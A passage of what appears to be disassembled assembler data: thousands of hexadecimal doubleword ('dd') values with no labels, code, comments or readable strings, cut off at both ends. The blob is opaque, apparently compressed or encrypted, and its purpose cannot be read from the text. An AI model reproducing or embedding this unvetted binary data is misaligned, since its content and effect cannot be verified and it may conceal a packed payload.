0BDA1287h, 6003E49Dh, 0CDB53119h dd 5FF6896Dh, 0BB6166A4h, 12B40C12h, 0C8598A3Fh, 9BA93000h dd 0DF4D59h, 5B8046C3h, 21E8B419h, 0E09DC6EEh, 950B06C5h dd 57663E1Ah, 9C773800h, 829ED717h, 0ADC900AEh, 0C29B5CB4h dd 0D43C8170h, 8D0F8847h, 0AEB38402h, 0D048B85Bh, 28B112FBh dd 8823991h, 0EE886517h, 0B9F97634h, 672F3F41h, 6DD9F004h dd 40057ABh, 82F49272h, 976A309Ch, 1D786973h, 9ED024FCh dd 0BF5E0024h, 0B9024068h, 35C8594Bh, 0A2FF0052h, 4C7A6B79h dd 4095BB8Bh, 2401BF6Ch, 0DE3759A6h, 0D747EE01h, 0E927388Eh dd 3700B308h, 36965EC8h, 0B4E94DBh, 0B1639380h, 94BB35D5h dd 49823915h, 0F881609Dh, 2AE4EAC2h, 0C4A4C8h, 198615B4h dd 4E9F1129h, 61D39912h, 0E6583BE3h, 0CEBF3805h, 8DE8041Ah dd 0BEE90409h, 0CB824CBCh, 235C5A57h, 0F631DE2Fh, 83B9A212h dd 0B78B4600h, 97998701h, 0BE743609h, 9AA407F6h, 1F93B073h dd 4DF2EC9h, 0DDAA0E34h, 0DFCA8173h, 890F5BF6h, 522E5622h dd 3255C9CAh, 5D4CC077h, 0B1894AADh, 18A506E1h, 0ACDD8A24h dd 0D061DB4Bh, 1025C084h, 0C6FD62D8h, 7F2B71A1h, 792C0057h dd 0A8F978Dh, 3D00A073h, 0B51C7619h, 1DF288FCh, 4B06BB50h dd 0CA625158h, 1079DE73h, 1197EA82h, 0CF55B5FFh, 37DC98Fh dd 98A7D756h, 483307h, 64EB6816h, 0B760506Fh, 0F88B7409h dd 14B82161h, 57F67067h, 0ED00DEB7h, 3F79DE17h, 6CBF0553h dd 0EA3A43EEh, 55E7B085h, 12A590E0h, 6029C99Dh, 8D1D917Bh dd 7BD332A9h, 29B8BE03h, 0A1571C7Eh, 7E727D85h, 0AEE937Fh dd 24BB870Fh, 1D89EEE3h, 39162B00h, 0CB0076AEh, 20A19832h dd 4BB91509h, 0E0C8F661h, 16D5BE4h, 61A1BB25h, 203779A6h dd 2C4BF9EFh, 0B40038E6h, 6347FA1Fh, 0F81DAD45h, 0F9892F89h dd 6169715Fh, 0E3F59D2Bh, 0F8BFD312h, 468999B2h, 0B7F6907Ch dd 0B70BE464h, 0EF3AE9F3h dd 0D8F66188h, 3557FA3Dh, 181BF154h, 7D330064h, 18AA5153h dd 81580F77h, 0C985C8C4h, 0D91847Fh, 305538AEh, 0CFCD5F8Ah dd 47F179C7h, 0C130935Dh, 1DE9279Dh, 1E12A771h, 0BA97B0E3h dd 6FBE9013h, 7EF605CFh, 6981C6E0h, 0B63A248Dh, 301BF230h dd 851D200Dh, 0A50BED15h, 0C80456E2h, 1EF509A2h, 0B3E2E556h dd 64BA5C3Bh, 9AC9FB89h, 28A0A0B8h, 0EEBF9600h, 5063E044h dd 9FDF79B3h, 0D002637h, 2D5C6603h, 0B2125A37h, 256B0390h dd 0DA715FE9h, 2F6679C2h, 7F6E7BE8h, 715B9125h, 38D7CB6Eh dd 97EEE7BEh, 107CEC1Ah, 0D6A45427h, 0A9041746h, 0BB22069Ah dd 0CABFC485h, 0FC05E7Ch, 121BDB81h, 0E37292CDh, 0D7007CEDh dd 1167A202h, 9D8D0153h, 5F4E6DD2h, 1DACD7A9h, 0B7F8008Ch dd 0BA36A7C4h, 60306440h, 0C1BDF45Dh, 0CD519505h, 70CFB309h dd 78DEB3E7h, 5395D0CCh, 3435A5A9h, 0A18E700h, 0BE6F416h dd 8D308F3Dh, 975DC6DFh, 0CDF50E12h, 0CD46E079h, 1BE84C47h dd 940CCE17h, 7DF7A703h, 0BF5202B0h, 0BCFC3D5h, 0F19E2B4Ch dd 5D7BF747h, 7012109Ch, 21FF0F75h, 2B5EE6ECh, 200EEFB6h dd 8DF72352h, 804B6CD7h, 7F4ACBEEh, 0F5DB005Dh, 570E5AC9h dd 0FF0144F1h, 2B6BD8A4h, 0A06F9C17h, 8F12E237h, 62BB732Fh dd 4E555B8Dh, 0A9DA5DC6h, 98F2EC46h, 0FC0F84DDh, 0BAA413BEh dd 3D09487Eh, 0BB092EA9h, 50924971h, 319D7502h, 261C5714h dd 3747366Bh, 506E8080h, 853156A1h, 5BBBE554h, 9735964Ah dd 4FBEBCF0h, 0FA0EC2F4h, 1956B9D7h, 0B0D4E72Fh, 209D013Eh dd 600525EDh, 24A58533h, 84F32C89h, 0FE13AB17h, 5FF0A5F7h dd 7B043A09h, 7C9B8627h, 0A205A6AAh, 29B4C19h, 6C017A9Eh dd 0D65C7BECh, 2DA76851h, 2000F2B7h, 8736EA7Eh, 0E84E11B4h dd 330000Ah, 0D22F725Bh, 0DB270776h, 0C9D78037h, 2E391822h dd 914C3757h, 2A58216h, 2FF15C55h, 96959466h, 817ACEC4h dd 5AE90B10h, 0CEDFDF3h, 0F24038E0h, 7969B545h, 9C5118F8h dd 0B4EA40F2h, 3B00F9A3h, 77D31C14h, 0E456505Fh, 0EA5A975Bh dd 3723795h, 6ADE8B41h, 2EA1FB14h, 498C98A4h, 0A64D4F0Fh dd 0D55EF085h, 2F0E07E2h, 1E9141DEh, 3699E172h, 209F0B5h dd 0C2F550D1h, 442F4E99h, 0C11B5B6Dh, 14078F7Ch, 0E4CB73A0h dd 85DB9EF8h, 0A8C99D23h, 93B74AA4h, 678A42A0h, 0E6BC8403h dd 0C0BBF6F5h, 5E12A464h, 713A8C6Ah, 0ACFDF807h, 0D7414533h dd 202FB0A4h, 0B7A1F903h, 0E5D64700h, 54332D20h, 0BB3512AFh dd 9B6BAA11h, 0B2001A23h, 0E01D056Bh, 0A8814BAFh, 81380D6h dd 0CBD160h, 0BB7126F7h, 9544D79Dh, 2EF02700h, 0C2B71258h dd 0F81A975Fh, 0E440E35Eh, 0B318B6h, 53714E27h, 0C19D8925h dd 15F2440h, 0CFBBD1FFh, 2E550FD9h, 8440CF28h, 842A9FAh dd 14BBB15Ah, 0B946ADD3h, 413AC97Fh, 6A155D0Eh, 89F45A2h dd 2900E19h, 784A53F2h, 6D709A7Bh, 0EA9400D7h, 9D037CE4h dd 485E063Dh, 16BCB7ADh, 8B60A904h, 46E971B5h, 52F18102h dd 0E6756151h, 0C09895FFh, 9D4F2950h, 134871B9h, 0AE98B715h dd 0E1853273h, 0EBD15635h, 0F9AD2C00h, 1CEF6DDh, 0ABB7801h dd 7A891BD7h, 0E6D3ACA2h, 0F5F8A0C8h, 0E56C12C8h, 5BA3E65Eh dd 48184CCh, 10D72EE3h, 5F85B94Bh, 0C0001D7Ah, 120AACDEh dd 0BB30C28Dh, 6A0C6E7Eh, 0E2C8ADFFh, 0A1823945h, 8A0522ADh dd 0A43D13D2h, 17BF0BA9h, 0A2F3F83Eh, 1E0283Ah, 973D1D7h dd 7F2DD19Dh, 218DF8C8h, 83262191h, 2AFA9861h, 13058C20h dd 567D726h, 90D9BD6Bh, 71E45BC1h, 18AD40C4h, 0FFCCA3B8h dd 0BD123343h, 0D7AC2E85h, 9E8D6DCh, 7C71CB39h, 586958B3h dd 59345887h, 0BC50C4A3h, 0E56980FBh, 657289h, 0BE9DA013h dd 0F5790434h, 97029F04h, 42ABF93Ah, 236995F1h, 5562101Bh dd 0C82B1922h, 0CBB185B8h, 9830B11Ch, 0AD3ED10Dh, 98E98015h dd 9A317FCBh, 388B779Dh, 602F2C54h, 0C201094Ch, 0CFDB5BFh dd 88ED5155h, 296F2919h, 455C72DFh, 809F7C1Ch, 549C066Ch dd 0B7AF1466h, 0FB049775h, 5653E95Fh, 0DFF8B9E1h, 671A9761h dd 82D04960h, 3A691197h, 23C09869h, 0E11C6260h, 0EBC06500h dd 7D02BD81h, 4BD5F82Ch, 0FC7A9D14h, 828413F1h, 9A4C7F79h dd 12B8709Fh, 0E66454BBh, 90A71081h, 12D66F44h, 5760D89h dd 92ECD382h, 0B271D098h, 0ABDDCC00h, 0D248E7A7h, 622DECE2h dd 55DE0260h, 1891CDB5h, 0A0C809Eh, 0BD016872h, 6F2E2928h dd 1341529Fh, 0AD0F39B9h, 0F6BE8DCh, 8C3FA23Dh, 18E7B702h dd 0E1044075h, 78FEB3FCh, 63028E50h, 39DC68C2h, 71CC82C4h dd 2030C41Dh, 0FC250C55h, 0FC0F54B8h, 0CAA2F600h, 0C436C7Eh dd 55C1017Bh, 0D43DB7BFh, 0FF202A1Ah, 0DAE9E6h, 16C4C85Dh dd 0C07ED6FEh, 8114CA24h, 5BEF2127h, 0DE36D22Bh, 0D37B16F0h dd 0E8ACA412h, 0AAB66D04h, 0EDB518BDh, 0F3AC8Ch, 0BF9D5369h dd 316FF92Fh, 2D5AA5ECh, 16380D90h, 0A7884E0Dh, 0C96FB06Eh dd 3A4801DCh, 18F4A034h, 78A72AF5h, 124AD921h, 0D9491FD6h dd 0CF90C3ADh, 582DE702h, 5C1354FFh, 6DD38109h, 44CF7167h dd 0F0504BB6h, 5B274001h, 0C18FCEB9h, 0FA302098h, 58CA8C92h dd 24023638h, 5F0862C8h, 53B74944h, 0DF3378C0h, 0EAB8A904h dd 87D0F820h, 4AC98D31h, 0AA6EAA32h, 78AA605Fh, 18019F4Bh dd 91C00B52h, 0C0420902h, 756B270Ah, 63B3FA12h, 40A1BB50h dd 5F135B08h, 56F9E1FFh, 0D40226B8h, 0D1BD3142h, 2D1C5723h dd 89557960h, 9D1BFD9Dh, 81C6AB59h, 0EB801627h, 4008888Dh dd 539BFB07h, 23576837h, 1285F781h, 2A34282Fh, 15E843D3h dd 8E5E33CBh, 8445649h, 0C3253095h, 45BCD42Ah, 1E9A5180h dd 0D804C399h, 0CF8B5240h, 9AAD19A0h, 70997B4h, 937062F3h dd 0FD10018Bh, 881287F4h, 488D2BB8h, 2159DE41h, 3599B33Ah dd 6EAF1DE5h, 6D100F3h, 98287F6Fh, 0A607152h, 96E28161h dd 55773FA2h, 0CA6A885Fh, 0E1105024h, 418B2BF9h, 8FF04543h dd 8A12F9A0h, 53FEBB4Ch, 451DC083h, 2FF55F05h, 20A50D20h dd 0BD7D00EDh, 3C0D9F26h, 0A000FAEEh, 0E0B00ABAh, 4A5FC2F8h dd 0BCBCAD6Ah, 0CEE102D7h, 0AB657A3Ah, 40ED8085h, 3E7568EEh dd 0A2D20323h, 3C8A4EA0h, 0F9A53C3Dh, 2358E646h, 5B2C2DBDh dd 5F568379h, 0E9D4B509h, 274E2572h, 0DFA4BB61h, 0C83EDAEAh dd 0F0D7C01Dh, 650208FEh, 2EB03871h, 25A15C18h, 0C2D84F7Bh dd 6AF301BEh, 0D6ECF99Ah, 8C46DE2Ch, 60CB0C00h, 3BE6CABAh dd 1219947Bh, 4EB0E707h, 0D5807CDBh, 9CAE3FF4h, 0C628B725h dd 4D68C4BFh, 5D890925h, 69FCAFCCh, 0A45D2848h, 0FF8E9CFCh dd 4754CB02h, 0C326B05Ch, 47187517h, 0B642F60Ah, 0ADF816F1h dd 1F3D8F75h, 0BF60DDC0h, 4AB77DE3h, 1C98C80Ch, 0C4AA351Eh dd 68C81140h, 9F77ED22h, 5F4848E6h, 24040EB4h, 222864C2h dd 23980BEFh, 56EB7356h, 180F1002h, 80725090h, 2F4100AEh dd 964CC5B8h, 26FD6116h, 0E897F376h, 24B18B32h, 0CB619DCFh dd 2A10477Eh, 85127149h, 699ABF0Ah, 4CE6A5Fh, 68B84739h dd 46B67E81h, 52FE282Ah, 0BFF650BCh, 0F2FC2F0h, 0F874A188h dd 7B3E43E9h, 0CBF900C8h, 0E884235Fh, 7B830FD1h, 259E80CEh dd 965C21C7h, 0A7E20B95h, 0F7C035EDh, 780168BDh, 8E0F4B8Dh dd 74AF2513h, 4607F67Ch, 19AB1FEBh, 38B453E5h, 106148F9h dd 5D657AB3h, 0D8BED924h dd 0DE5FBF44h, 2579CFF6h, 4C664D05h, 3D268976h, 5147D40Dh dd 0EC5156DBh, 964CDF5Ch, 938A3F70h, 0A1B22423h, 9933285Ah dd 38D38C5Eh, 93A7B91h, 32EEFB37h, 1D593D73h, 30014B18h dd 0DC748509h, 0B1E9B805h, 0E6E9BA9Dh, 10514289h, 4930F157h dd 0AD40524Dh, 31D2829Ah, 495A400Bh, 0D5F23F21h, 0DDFC64D0h dd 1B517200h, 0AD07E373h, 0F8FA5A32h, 0D780C2E0h, 69F756FFh dd 1D759C82h, 0BCE19655h, 0E409D411h, 0B6CF18Fh, 0D635541Ch dd 6C001A46h, 0C7F4BDEBh, 3E9020FBh, 83FCDA0Bh, 7A0D53C2h dd 4D89E7FCh, 6F5980C0h, 98ECBB49h, 0C8085B09h, 0DF009EC5h dd 72709DEAh, 233ED66h, 423A8694h, 895DB94Bh, 87285656h dd 11EE8160h, 210B9EB2h, 2D742BA9h, 0F7D0B29Ah, 8177E2Ch dd 4F280E31h, 0FC95F970h, 0DBB7E2F7h, 40CB6FF7h, 0B529F7A7h dd 7FD14A9Dh, 7844BD95h, 0A05B04B3h, 0D19F2935h, 30C86F26h dd 69BF5000h, 0BA5CD95Dh, 44F5520Eh, 0FBC5FA51h, 0EBC3352Bh dd 28A58D81h, 61D6B200h, 27EB4DB5h, 0BDC067EDh, 92FC9D0h dd 325F5423h, 5F2CF576h, 0FC4B5EC9h, 0D86F4A2Fh, 0F76FFB27h dd 2FB312E1h, 4113EAB7h, 83F59E0Bh, 90FAB37Dh, 26E43609h dd 167031F8h, 0E5CDA804h, 6FAF1295h, 7E771C25h, 79C79281h dd 602BB3E6h, 76F7807Bh, 53BFC670h, 9F097836h, 0FB223604h dd 7CAC323Dh, 5BC9BAB5h, 0E079AC2Ah, 1265CBh, 93BBD9AEh dd 5B27F937h, 0F44A65B8h, 0C763DBBEh, 0B5E0F03Dh, 5BD76BD4h dd 58710292h, 3DDBC18Bh, 12860A70h, 0B2543040h, 0D18996BAh dd 0EEB528E0h, 1C5B7CE7h, 0C7016941h, 0E52908D2h, 0A39D91BEh dd 5BAE7C27h, 0A7804A9Bh, 9D2914D8h, 48B2E8BCh, 9289F5F8h dd 5BA531F6h, 88B9783Ch, 0BB64E900h, 6687C846h, 0FC315F28h dd 76509212h, 1DE80B80h, 0ADCC224Dh, 91EDFF0Eh, 100E1447h dd 0AB33C084h, 9BFAE88h, 68AD2F11h, 9190F352h, 702A2D29h dd 12C9F433h, 0D0880F7Dh, 4452BB80h, 6D30DE25h, 6017648Dh dd 0F44A7354h, 0D9651DBBh, 1084BA16h, 0AC04AFCAh, 9D23C37Ah dd 0F4A14049h, 0FF1A13D4h, 0D734ACD1h, 0A2D25CB8h, 0DC698B76h dd 0FA80EF97h, 6AD471C9h, 0FC600227h, 526469E8h, 0F4C76703h dd 98ADE4A1h, 91906123h, 6F9380BEh, 630709A2h, 0C8368501h dd 0A6EF2097h, 4DC9FF0h, 23BF66C6h, 9600AECFh, 532F0951h dd 0B5010B90h, 1C141011h, 0AAC49Fh, 0AC1CBFD4h, 2C1A7CA0h dd 1F9B3703h, 0E896711Bh, 95245CFh, 4EE95F39h, 48559CFFh dd 0F64A23F2h, 0CF30F062h, 0F42903A2h, 0FEEC4113h, 25778795h dd 1D9EBA0Dh, 0C780C581h, 0E8C4169h, 56DD2A36h, 0AF6B2Bh dd 4AAFE35Bh, 1389A98Bh, 962AD185h, 0EC3B687Eh, 0A80A6292h dd 69A15688h, 87ACB77Fh, 0E076DB08h, 0D41CF6EFh, 0E88414Eh dd 0B4E21E0Bh, 0CF44823Bh, 0B2563A76h, 2FC409C4h, 0ACA6F752h dd 0DC3019B2h, 22F804C0h, 0AB6AB89Dh, 45EA8Ch, 0E01170B2h dd 10998D13h, 33169B02h, 0F52F69BDh, 554C2E4h, 7D09BBE8h dd 5B46F557h, 0A2F01297h, 0B5BD12B0h, 824D6BB1h, 6C20EA2Ah dd 82EC45h, 38C194E4h, 8B4E2160h, 0E6816600h, 615F1746h dd 5BEBBAB0h, 8EAF8D8h, 31551BDh, 0EF8071E4h, 229AADBCh dd 0CA049DB2h, 989AAC1Dh, 2FACDF54h, 99FDBA84h, 0C4041EEEh dd 810F9848h, 683DC704h, 87AC7831h, 51852904h, 2BF5301Dh dd 0CEB700C8h, 47BBD18Bh, 525F8F49h, 779878A8h, 86954AF5h dd 12245575h, 0B46AF380h, 0C121BD6Ch, 1644AC30h, 8852A92Dh dd 1F3AA414h, 1922E571h, 0E9022A49h, 0E49AFF35h, 9086CC7Fh dd 0A6205A67h, 9F1D2236h, 51082AE5h, 1D594823h, 0FFD044BFh dd 844DAD4Ah, 9489FE0h, 0F816A680h, 18E15B28h, 0E23A2FEAh dd 5F80068Dh, 1AEB1D81h, 6A3F49A6h, 17E090EDh, 2EBF16h dd 0B3012BEDh, 0DB816F5Eh, 0C8E8DA09h, 0AF705B40h, 674036EDh dd 147D13D0h, 0E49F9D73h, 9CEDEF01h, 7B0FE8B9h, 0B348127Ah dd 9B03F007h, 0AC7324DBh, 0C0074868h, 76C34F55h, 0AADE0F96h dd 60E9443Fh, 0B1A49857h, 2B6114C5h, 0B5C0BBC0h, 0B0DA0A84h dd 0ED24107Bh, 5F120375h, 9C9424ACh, 0FF254113h, 1BF846Ch dd 3CA0D5A9h, 669FE380h, 40BEF704h, 21523E80h, 97AE0008h dd 0E8F2BBB6h, 92952343h, 9398FF04h, 8C09F381h, 0CE2862ADh dd 0D4B99494h, 1EE3945Ah, 2103B05Ah, 8E06C082h, 149A95F2h dd 0B3604412h, 47B53055h, 0D62E6A3Fh, 7EDAC007h, 88128BFCh dd 542C056h, 3E5F8114h, 66801DDBh, 1AD31195h, 0E3401BB4h dd 15D2238h, 6661E140h, 2B921112h, 8A744F28h, 8CD7140h dd 1C4CCC95h, 659D0360h, 0BD72257Dh, 56610192h, 60F3E91Bh dd 0BE571650h, 159F40BBh, 0B5000FFFh, 7723C0EDh, 19C85A1h dd 356B829Dh, 2BAE4CAFh, 6FBA1416h, 650A25D6h, 473090Dh dd 0F410D4h, 5E453A5Bh, 0F4E17DC9h, 0C2DCAB25h, 512F5448h dd 206BB259h, 501E56FAh, 2F9B0413h, 3E1FAD8h, 89EB885Bh dd 0BBD570C8h, 1ACE3D20h, 5A770436h, 0B6605F6Ch, 0F5FBE20Dh dd 0F71631E4h, 21FEF333h, 0D2BF9C0h, 91B8CB2Dh, 70556701h dd 39F28C3Ah, 4AE76884h, 1047AD7Eh, 0B7120110h, 0FE60FA6Ah dd 951A2995h, 60DF16BAh, 1204BB8Ch, 0C039D5CEh, 0F9BD0B61h dd 0BF032B42h, 10D21AFCh, 51FBE02Dh, 8A60403Ch, 0F3556D8h dd 0C0FB1B8Ch, 0BF53501Dh, 68F66403h, 3A8B5F14h, 0F9B451D9h dd 5A34FF10h, 55FC9E13h, 0C2291D04h, 0C48DBB15h, 4B00B32Eh dd 0CAD0C5ACh, 63348892h, 64BB012Fh, 0FD585911h, 7989B84Eh dd 0E66F0A41h, 0A0BD3E03h, 0FE614A2Eh, 0BA4AB37Fh, 95B9B4C8h dd 645F409Ah, 5440016h, 9B21D710h, 490B0251h, 0EE0FE98h dd 11C26012h, 5BE95B07h, 0FD79C419h, 71EB81Fh, 2A359C9Dh dd 50555931h, 72359579h, 8C801C91h, 2FDAF3AEh, 724DEA0Bh dd 3B24D161h, 6B54CF80h, 0DD47C457h, 2F19E400h, 14083773h dd 48E2C00Bh, 5B4C94E5h, 0CF1630BEh, 0AB92DAEDh, 0BF712DF3h dd 9D0902FBh, 0BFE05821h, 0FCEB08F1h, 746740C4h, 810017F6h dd 60C0B431h, 0B797319h, 892BB9BAh, 15DE65FEh, 344B5258h dd 0F4509B00h, 0A818F5C8h, 0CEB84D00h, 0E3A54313h, 0F1CC9591h dd 7D70844h, 0A11AAB0Ah, 0B3651012h, 84AC5B10h, 198C0895h dd 1D187080h, 5E3F515h, 0D98A2F21h, 6E91EA5Bh, 8C2B3489h dd 810519E2h, 36BAB4A3h, 34992680h, 0FB07459h, 0F653AC1Dh dd 26546FCBh, 5885BDC2h, 0E8680422h, 0B2128A07h, 0CA00051h dd 713D0826h, 8FB300E0h, 0FC498E56h, 0BC2F435Ch, 4FD24637h dd 8107FC60h, 12950417h, 0A0F2C21Bh, 0E28B4002h, 9D1704B2h dd 0FA858D1Bh, 1E0B537Eh, 0D3C0D738h, 9F03BFDAh, 902D85C1h dd 0AC58B850h, 0B06951A9h, 184D7FE6h, 0AE877C1h, 0B2D7E62Fh dd 0D47F301Bh, 556B8094h, 2D91EC82h, 8336D35Fh, 613696BBh dd 0B85BF98Ch, 141A00D4h, 71088A9Dh, 0E09535C5h, 97A74F30h dd 80173E16h, 23A8C2CFh, 22510C25h, 0B92D35C6h, 6E7725E7h dd 0E13DFCB2h, 895E9E6Fh, 0B2447D92h, 5F30F397h, 43801D11h dd 9490A37Dh, 4591AD04h, 80E0AA23h, 91C971Ah, 4404B02Dh dd 89D085A6h, 247B04A0h, 2584A3D0h, 6EC01E68h, 0CABEB2C2h dd 0E9EB6FCFh, 9F077019h, 2CD86C7Bh, 6E7100A3h, 8B3159E7h dd 210BBBD8h, 54366141h, 31BDC2AFh, 0BF59265Ch, 0F096BADBh dd 6CC83B73h, 0FA6E5Fh dd 87DD507Ah, 4C293FA5h, 18C1D38Fh, 20C2DF46h, 0EC5DCA87h dd 8C0B09D5h, 0F9ED5D5Fh, 4684C49h, 1AEA0A34h, 4CD0B34Ah dd 26F110F0h, 0F3725630h, 5F04CA13h, 2909BD01h, 127B8AAAh dd 9FAAFBBFh, 9840DC24h, 0FE3FB28h, 0A93C4AC9h, 25B9D777h dd 0F32735A8h, 2D0ADE29h, 7A5822B1h, 132B30D9h, 0C08FAD44h dd 6043E021h, 0CC690042h, 99B79F2h, 385C92CEh, 8D8B1739h dd 0C25AD0EDh, 61071F41h, 554D56F9h, 0D361E401h, 4CD4FA6Ah dd 976579CDh, 7EB74509h, 55D81E81h, 213BF66Bh, 2EF98A6Dh dd 3EDB2A17h, 90D17780h, 51044672h, 5B56A987h, 0D21CDAFFh dd 77684C70h, 0A2000CCh, 0D41C870Eh, 0B52A8930h, 5B9AB075h dd 8BDF952h, 0A527918Dh, 0A77C5562h, 34C902F6h, 0B38C3109h dd 41F4EF7Dh, 7375D27Ch, 133800ECh, 0FE193505h, 98120077h dd 0B1042C81h, 71B77192h, 5CD28001h, 0F2827AD9h, 0B8281F00h dd 0E443C463h, 67F905F7h, 0FF5BC58Dh, 42BDE8DCh, 0E381800Eh dd 3E85D194h, 91270176h, 0BB418EF4h, 0F57529D7h, 255A4ED8h dd 0C6CD74A9h, 71601964h, 39169E1Ch, 0ABAD68E6h, 8C1CACh dd 5FF71A49h, 123CF1BFh, 521E02BDh, 51BD5CC8h, 62E72A60h dd 0E6A3EBB0h, 0D94B2203h, 1219074Fh, 485A56Ah, 132C6930h dd 0BB3900AEh, 52B19E62h, 6D55A0AAh, 6F48C016h, 46C541C1h dd 33923D95h, 23C2B75Bh, 0C0789E9Bh, 40CC9714h, 855A3746h dd 662E5920h, 785100D1h, 0B32FD9EBh, 51953E2Ch, 870FE1EBh dd 88A62C08h, 0DD8A8902h, 0F8A6107Bh, 4E4100D6h, 0BD03916Bh dd 0A2B50EE5h, 5E276948h, 123E7112h, 5DCDC053h, 2E5F8119h dd 0DC03F634h, 84C6D068h, 0EEBC52E9h, 9BD2D5Ah, 9A029E89h dd 9ED5E614h, 0D4CD9E3Eh, 82155Fh, 0B5290232h, 0E980C85Dh dd 8CF89FDFh, 99D2313h, 6DC1B892h, 0B0FFE047h, 315FCCFh dd 3894399Dh, 2D308E8Dh, 0F07BDE4Dh, 0E822EE9Fh, 16770492h dd 84D852DFh, 0EA69C484h, 1483C69Eh, 0F802848Ch, 6806803Bh dd 68A78BA0h, 0E172F414h, 0F299B66Fh, 0A72B59B6h, 84F043F3h dd 70790099h, 0CDD7DCDEh, 0C074814Eh, 4AF28F12h, 0AF9353ACh dd 44F59F60h, 0B8DD1633h, 25A1E8FEh, 52CE4155h, 8B80592Ch dd 0B77ADC93h, 0D658567Dh, 0BDA6509Ah, 0E0ED204Ah, 8990BBE8h dd 221FE528h, 0C36FD1BCh, 0D0F4EBC0h, 0B834839Bh, 2EA371D5h dd 847EC1h, 1F2F48FBh, 85EEB2E4h, 90BE1500h, 1E417D32h dd 3D9E0013h, 2CCDDE59h, 0CA00EB83h, 0BA4E815Ch, 5FA0F3h dd 0B156E5DCh, 79D958ABh, 0DAF6BB00h, 6CEB73D8h, 0FC4E0093h dd 0B5E4A4FFh, 0DC002351h, 60669CC1h, 2106B56h, 13DDA857h dd 55C0F4A7h, 0BE00F6EFh, 4ECF8548h, 0EA444582h, 42FC002Eh dd 0FA5EACC0h, 817B6DC6h, 40A6D907h, 4FC12A44h, 0F8D0C3AAh dd 0F3E00042h, 0D0491DBBh, 4133461Ch, 1D408E8h, 0BBFB0721h dd 202987AEh, 0AA180883h, 62602750h, 44101842h, 1A1871FBh dd 81F48301h, 79A8E406h, 21100998h, 83001238h, 0A13E1505h dd 33C7BF69h, 0C09888E5h, 4BA07164h, 19BBF760h, 11F04923h dd 0FF0300DBh, 8DD8E6BBh, 0E24D03CEh, 7824D076h, 75BD71B8h dd 0A10F90Eh, 14F821C6h, 3880AFA8h, 81568CC0h, 6C06251Eh dd 3C2DC466h, 21B16408h, 9D6880EAh, 253C6EBEh, 45CF0020h dd 9C79FA11h, 0E6EB770Dh, 0B53914BFh, 7018C62h, 0E0CC93FDh dd 4FD18050h, 107AB6F2h, 0D51C001Dh, 369BB9E5h, 450E8A9Dh dd 8AEA724Eh, 91819006h, 0A640D186h, 3B5231CCh, 7C80D797h dd 8F1A23CAh, 0E71E3B8Dh, 9428FEE4h, 21D7F70Ah, 4B03A09Ch dd 0E8B6E36Ch, 7A8593E5h, 0DF2D0004h, 43179BF8h, 5C01D032h dd 0FFD3A687h, 68D45A12h, 218F00F0h, 4C856D9Bh, 3F00ECE7h dd 485F8A6Eh, 46927Ch, 4776D6B7h, 3E091721h, 0AFE99500h dd 0FA356C2Ch, 0D67D000Ch, 0A7AB5D5Ch, 78005627h, 760DD4AAh dd 643A4Ch, 2DEAC25Fh, 3B8494A3h, 0C7CD100Fh, 0EF4360E7h dd 63457Ch, 0E805DED4h, 60EEE22h, 0B876BB74h, 7BB0D81Ch dd 0DC9A4180h, 0CCAA39EAh, 0FE21D108h, 5E307BE6h, 4F327A09h dd 0F7450367h, 84BEA6C2h, 0EDA0B9F8h, 0CE872CDDh, 67202D17h dd 33BCCA34h, 0F408FC6Fh, 0FA9210Fh, 99F5E42Dh, 90320380h dd 0DB3D1829h, 11EE50C7h, 0BC5828D9h, 2D721218h, 110C6723h dd 0AAC07F3h, 4DF06A2Dh, 234A9Bh, 2A593A13h, 0E1B0651Eh dd 2DEC3837h, 22748F86h, 9F9DCCBh, 2D1030DEh, 0FC4667E4h dd 0AE00F222h, 0D802D08h, 1FA0DB82h, 8360A736h, 0D73B55EDh dd 0CB065C19h, 2DFC6161h, 8EBA00F0h, 0A1CEC903h, 0F600B632h dd 859C5994h, 22E18155h, 730FA46h, 0CE63DC7h, 438A17B1h dd 72C3005Dh, 53B6957Dh, 74D303Ah, 0CC395BB7h, 0D943E803h dd 0CBEC985h, 0CE757B08h, 0CFD1FC21h, 99012118h, 4D679F78h dd 0D486CC27h, 503D6FE1h, 0DE1960C6h, 0A32E0079h, 39861F1Ah dd 0CE00A7F6h, 0D69AD39Ch, 0AEAAC8h, 0E4E38CB0h, 2254C266h dd 176C7803h, 0A04CD6A6h, 0DD21C6h, 3BD36503h, 0B152D1F6h dd 62F93D0Bh, 2BC8073Fh, 0C3213720h, 113A00EAh, 0C951077h dd 7F3AB998h, 881980F9h, 0BE61D283h, 0EA9C0012h, 0A7E94282h dd 419A231h, 0E84043CEh, 0C1EE66F0h, 90035418h, 80E7F9BAh dd 97F72010h, 0EBC7708Eh, 3487CCCh, 8B463214h, 0E1B0B665h dd 8D07EB5Eh, 75263D7Dh, 8ADCE050h, 52DE00F5h, 328C562Ch dd 18C0C569h, 775BFB0Dh, 2B853ADBh, 7B4A7603h, 26AFAC30h dd 0B6E22813h, 0CF62FF1Dh, 487E0900h, 944F46h, 427FC6EAh dd 0B20A8E1Fh, 19B68D00h, 20C8EBDFh, 92E43ACCh, 0BE5E3C00h dd 7F7C7EDEh, 0DADC2700h, 61B4EB90h, 1E2E02D0h, 24670DBCh dd 0A5F7360h, 0A242B61Eh, 0F9BE0680h, 80647Ah, 0AB19378Fh dd 177E3B50h, 7FF42618h, 3A0148h, 0E97CEC4Eh, 0E8F13CDFh dd 0A7076CF8h, 0B4E2F0DEh, 3B644430h, 0A3F882h, 51ED97BAh dd 0E128CCE3h, 7373Fh, 1798FD9Eh, 0A5B01Bh, 0B2F5C4AEh dd 6E88FED2h, 8AD8000h, 0F3647242h, 9F4340C5h, 0AB7BD100h dd 0B97A0F95h, 70ED60E0h, 0F3C490EFh, 16B5920h, 67E58D6Ch dd 80D6823Ah, 41BE2DA8h, 0C0E714E0h, 0C2F58131h, 0DF066612h dd 8A6861EDh, 18EB7D18h, 38C5FE3Ah, 31C0C28Fh, 0B688A744h dd 0FBB800E5h, 84CCF023h, 0BE616361h, 94658539h, 8089B447h dd 8F6E933Fh, 20B56092h, 0A380B856h, 0F670B203h, 0E8312DD0h dd 11EC497h, 1370752h, 0C0DFF704h, 0FA712FD6h, 51869400h dd 592BB9ECh, 0A608CCFCh, 0F3042021h, 748B7C94h, 399C0EC0h dd 86900478h, 80682389h, 0DEB7D7B3h, 0AD305AFCh, 0DA7538E0h dd 2F6D3AF3h, 0E70F1060h, 0D01FFD43h, 0A8875CE6h, 4CE65D1Eh dd 0EF6E0721h, 0B0589540h, 15385EBDh, 